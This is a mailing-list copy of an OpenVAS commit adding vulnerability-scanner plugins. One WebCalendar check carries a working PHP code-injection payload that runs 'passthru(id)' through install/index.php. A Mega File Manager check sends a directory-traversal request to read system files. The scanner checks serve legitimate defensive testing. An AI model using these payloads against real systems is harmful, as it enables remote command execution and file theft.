[Openvas-commits] r13360 - in trunk/openvas-plugins: . scripts
scm-commit at wald.intevation.org
scm-commit at wald.intevation.org
Wed Apr 25 11:12:50 CEST 2012
Author: mime
Date: 2012-04-25 11:12:50 +0200 (Wed, 25 Apr 2012)
New Revision: 13360
Added:
trunk/openvas-plugins/scripts/gb_WebCalendar_53207.nasl
trunk/openvas-plugins/scripts/gb_helix_52929.nasl
trunk/openvas-plugins/scripts/gb_megafilemanager_53189.nasl
Modified:
trunk/openvas-plugins/ChangeLog
trunk/openvas-plugins/scripts/gb_webcalendar_mult_css_n_csrf_vuln.nasl
trunk/openvas-plugins/scripts/gb_webcalendar_mult_xss_vuln.nasl
trunk/openvas-plugins/scripts/webcalendar_detect.nasl
trunk/openvas-plugins/scripts/webcalendar_info_disclosure.nasl
trunk/openvas-plugins/scripts/webcalendar_sql_injection.nasl
Log:
Added new plugins. Set extra key in kb for script_require_keys(). Added script_require_keys().
Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog 2012-04-25 08:22:42 UTC (rev 13359)
+++ trunk/openvas-plugins/ChangeLog 2012-04-25 09:12:50 UTC (rev 13360)
@@ -1,3 +1,19 @@
+2012-04-25 Michael Meyer <michael.meyer at greenbone.net>
+
+ * scripts/gb_WebCalendar_53207.nasl,
+ scripts/gb_helix_52929.nasl,
+ scripts/gb_megafilemanager_53189.nasl:
+ Added new plugins.
+
+ * scripts/webcalendar_detect.nasl:
+ Set extra key in kb for script_require_keys().
+
+ * scripts/webcalendar_info_disclosure.nasl,
+ scripts/gb_webcalendar_mult_xss_vuln.nasl,
+ scripts/gb_webcalendar_mult_css_n_csrf_vuln.nasl,
+ scripts/webcalendar_sql_injection.nasl:
+ Added script_require_keys().
+
2012-04-25 Antu Sanadi <santu at secpod.com>
* scripts/gb_2532gigs_detect.nasl,
Added: trunk/openvas-plugins/scripts/gb_WebCalendar_53207.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_WebCalendar_53207.nasl (rev 0)
+++ trunk/openvas-plugins/scripts/gb_WebCalendar_53207.nasl 2012-04-25 09:12:50 UTC (rev 13360)
@@ -0,0 +1,116 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# WebCalendar Local File Include and PHP code Injection Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103476);
+ script_bugtraq_id(53207);
+ script_cve_id("CVE-2012-1495","CVE-2012-1496");
+ script_version ("$Revision$");
+
+ script_name("WebCalendar Local File Include and PHP code Injection Vulnerabilities");
+
+desc = "Overview:
+WebCalendar is prone to multiple input-validation vulnerabilities
+because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit these issues to inject arbitrary PHP code and
+include and execute arbitrary files from the vulnerable system in the
+context of the affected application. Other attacks are also possible.
+
+WebCalendar 1.2.4 is vulnerable; other versions may also be affected.
+
+Solution:
+Reports indicate vendor updates are available. Please contact the
+vendor for more information.
+
+References:
+http://www.securityfocus.com/bid/53207
+http://sourceforge.net/projects/webcalendar/?source=directory
+http://www.securityfocus.com/archive/1/522460";
+
+ script_tag(name:"risk_factor", value:"High");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2012-04-25 09:40:31 +0200 (Wed, 25 Apr 2012)");
+ script_description(desc);
+ script_summary("Determine if it is possible to execute a command");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
+ script_dependencies("webcalendar_detect.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ script_require_keys("webcalendar/installed");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("version_func.inc");
+
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+
+if(!can_host_php(port:port))exit(0);
+
+if(!dir = get_dir_from_kb(port:port,app:"webcalendar"))exit(0);
+
+phpcode = '*/print(____);passthru(id);die;';
+payload = 'app_settings=1&form_user_inc=user.php&form_single_user_login=' + phpcode;
+
+req = string("POST ", dir, "/install/index.php HTTP/1.1\r\n",
+ "Host: ", get_host_name(),"\r\n",
+ "Content-Length: ", strlen(payload),"\r\n",
+ "Content-Type: application/x-www-form-urlencoded\r\n",
+ "Connection: close\r\n\r\n",payload);
+
+res = http_send_recv(port:port, data:req);
+
+if("HTTP/1.1 200" >!< res)exit(99);
+
+url = dir + '/includes/settings.php';
+
+if(http_vuln_check(port:port,url:url,pattern:"uid=[0-9]+.*gid=[0-9]+.*")) {
+
+# remove the payload from settings.php
+ payload = 'app_settings=1&form_user_inc=user.php&form_single_user_login=';
+ req = string("POST ", dir, "/install/index.php HTTP/1.1\r\n",
+ "Host: ", get_host_name(),"\r\n",
+ "Content-Length: ", strlen(payload),"\r\n",
+ "Content-Type: application/x-www-form-urlencoded\r\n",
+ "Connection: close\r\n\r\n",payload);
+
+ res = http_send_recv(port:port, data:req);
+
+ security_hole(port:port);
+ exit(0);
+
+} else {
+ exit(99);
+}
+
+exit(0);
Property changes on: trunk/openvas-plugins/scripts/gb_WebCalendar_53207.nasl
___________________________________________________________________
Added: svn:keywords
+ Id Revision Date
Added: trunk/openvas-plugins/scripts/gb_helix_52929.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_helix_52929.nasl (rev 0)
+++ trunk/openvas-plugins/scripts/gb_helix_52929.nasl 2012-04-25 09:12:50 UTC (rev 13360)
@@ -0,0 +1,99 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# RealNetworks Helix Server Multiple Remote Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103475);
+ script_bugtraq_id(52929);
+ script_cve_id("CVE-2012-0942","CVE-2012-1923","CVE-2012-1984","CVE-2012-1985","CVE-2012-2267","CVE-2012-2268");
+ script_tag(name:"cvss_base", value:"7.5");
+ script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
+ script_version ("$Revision$");
+
+ script_name("RealNetworks Helix Server Multiple Remote Vulnerabilities");
+
+desc = "Overview:
+RealNetworks Helix Server is prone to multiple remote vulnerabilities.
+
+Attackers can exploit theses issues to execute arbitrary code within
+the context of the affected application, cause denial-of service
+conditions, retrieve potentially sensitive information, execute
+arbitrary script code in the browser of an unsuspecting user in the
+context of the affected site, and steal cookie-based authentication
+credentials.
+
+RealNetworks Helix Server 14.2.0.212 is vulnerable; other versions may
+also be affected.
+
+Solution:
+Updates are available. Please see the references for more information.
+
+References:
+http://www.securityfocus.com/bid/52929
+http://www.realnetworks.com/products-services/helix-server-proxy.aspx
+http://helixproducts.real.com/docs/security/SecurityUpdate04022012HS.pdf
+http://secunia.com/secunia_research/2012-9/
+http://secunia.com/secunia_research/2012-8/";
+
+ script_tag(name:"risk_factor", value:"High");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2012-04-23 14:15:20 +0200 (Mon, 23 Apr 2012)");
+ script_description(desc);
+ script_summary("Determine if installed Helix version is vulnerable");
+ script_category(ACT_GATHER_INFO);
+ script_family("General");
+ script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
+ script_dependencies("rtsp_detect.nasl");
+ script_require_ports("Services/rtsp", 554);
+ exit(0);
+}
+
+include("version_func.inc");
+
+port = get_kb_item("Services/rtsp");
+if(!port)port = 554;
+if(!get_port_state(port))exit(0);
+
+if(!server = get_kb_item(string("RTSP/",port,"/Server")))exit(0);
+if("Server: Helix" >!< server)exit(0);
+
+version = eregmatch(pattern:"Version ([0-9.]+)", string: server);
+
+if(isnull(version[1]))exit(0);
+
+if(version_in_range(version:version[1], test_version:"14", test_version2:"14.2")) {
+
+ security_hole(port:port);
+ exit(0);
+
+} else {
+
+ exit(99);
+
+}
+
+exit(0);
Property changes on: trunk/openvas-plugins/scripts/gb_helix_52929.nasl
___________________________________________________________________
Added: svn:keywords
+ Id Revision Date
Added: trunk/openvas-plugins/scripts/gb_megafilemanager_53189.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_megafilemanager_53189.nasl (rev 0)
+++ trunk/openvas-plugins/scripts/gb_megafilemanager_53189.nasl 2012-04-25 09:12:50 UTC (rev 13360)
@@ -0,0 +1,103 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Mega File Manager 'name' Parameter Directory Traversal Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103477);
+ script_bugtraq_id(53189);
+ script_version ("$Revision$");
+
+ script_name("Mega File Manager 'name' Parameter Directory Traversal Vulnerability");
+
+desc = "Overview:
+Mega File Manager is prone to a directory-traversal vulnerability
+because it fails to properly sanitize user-supplied input.
+
+Remote attackers can use specially crafted requests with directory-
+traversal sequences ('../') to retrieve arbitrary files in the context
+of the application.
+
+Exploiting this issue may allow an attacker to obtain sensitive
+information that could aid in further attacks.
+
+Mega File Manager 1.0 is vulnerable; other versions may also be
+affected.
+
+References:
+http://www.securityfocus.com/bid/53189
+http://www.awesomephp.com/?MegaFileManager";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2012-04-25 10:11:55 +0200 (Wed, 25 Apr 2012)");
+ script_description(desc);
+ script_summary("Determine if it is possible to read a local file");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+
+port = get_http_port(default:80);
+
+if(!get_port_state(port))exit(0);
+
+if(!can_host_php(port:port))exit(0);
+
+dirs = make_list("/megafilemanager","/MegaFileManager",cgi_dirs());
+
+foreach dir (dirs) {
+
+ url = string(dir, "/index.php");
+
+ if(http_vuln_check(port:port, url:url,pattern:"Powered by Awesome PH")) {
+
+ files = traversal_files();
+ foreach file (keys(files)) {
+
+ url = dir + '/cimages.php?name=' + crap(data:"../", length:9*6) + files[file];
+
+ if(http_vuln_check(port:port, url:url,pattern:file)) {
+ security_warning(port:port);
+ exit(0);
+ }
+
+ }
+
+ }
+}
+
+exit(0);
+
Property changes on: trunk/openvas-plugins/scripts/gb_megafilemanager_53189.nasl
___________________________________________________________________
Added: svn:keywords
+ Id Revision Date
Modified: trunk/openvas-plugins/scripts/gb_webcalendar_mult_css_n_csrf_vuln.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_webcalendar_mult_css_n_csrf_vuln.nasl 2012-04-25 08:22:42 UTC (rev 13359)
+++ trunk/openvas-plugins/scripts/gb_webcalendar_mult_css_n_csrf_vuln.nasl 2012-04-25 09:12:50 UTC (rev 13360)
@@ -74,6 +74,7 @@
script_family("Web application abuses");
script_dependencies("webcalendar_detect.nasl");
script_require_ports("Services/www", 80);
+ script_require_keys("webcalendar/installed");
exit(0);
}
Modified: trunk/openvas-plugins/scripts/gb_webcalendar_mult_xss_vuln.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_webcalendar_mult_xss_vuln.nasl 2012-04-25 08:22:42 UTC (rev 13359)
+++ trunk/openvas-plugins/scripts/gb_webcalendar_mult_xss_vuln.nasl 2012-04-25 09:12:50 UTC (rev 13360)
@@ -66,6 +66,7 @@
script_family("Web application abuses");
script_dependencies("webcalendar_detect.nasl");
script_require_ports("Services/www", 80);
+ script_require_keys("webcalendar/installed");
exit(0);
}
Modified: trunk/openvas-plugins/scripts/webcalendar_detect.nasl
===================================================================
--- trunk/openvas-plugins/scripts/webcalendar_detect.nasl 2012-04-25 08:22:42 UTC (rev 13359)
+++ trunk/openvas-plugins/scripts/webcalendar_detect.nasl 2012-04-25 09:12:50 UTC (rev 13360)
@@ -97,6 +97,7 @@
tmp_version = string(vers," under ",install);
set_kb_item(name: string("www/", port, "/webcalendar"), value: tmp_version);
+ set_kb_item(name:"webcalendar/installed",value:TRUE);
## build cpe and store it as host_detail
cpe = build_cpe(value:tmp_version, exp:"^([0-9.]+)", base:"cpe:/a:webcalendar:webcalendar:");
Modified: trunk/openvas-plugins/scripts/webcalendar_info_disclosure.nasl
===================================================================
--- trunk/openvas-plugins/scripts/webcalendar_info_disclosure.nasl 2012-04-25 08:22:42 UTC (rev 13359)
+++ trunk/openvas-plugins/scripts/webcalendar_info_disclosure.nasl 2012-04-25 09:12:50 UTC (rev 13360)
@@ -76,6 +76,7 @@
script_dependencies("webcalendar_detect.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
+ script_require_keys("webcalendar/installed");
exit(0);
}
Modified: trunk/openvas-plugins/scripts/webcalendar_sql_injection.nasl
===================================================================
--- trunk/openvas-plugins/scripts/webcalendar_sql_injection.nasl 2012-04-25 08:22:42 UTC (rev 13359)
+++ trunk/openvas-plugins/scripts/webcalendar_sql_injection.nasl 2012-04-25 09:12:50 UTC (rev 13360)
@@ -62,6 +62,7 @@
script_family(family);
script_dependencie("webcalendar_detect.nasl");
script_require_ports("Services/www", 80);
+ script_require_keys("webcalendar/installed");
exit(0);
}
More information about the Openvas-commits
mailing list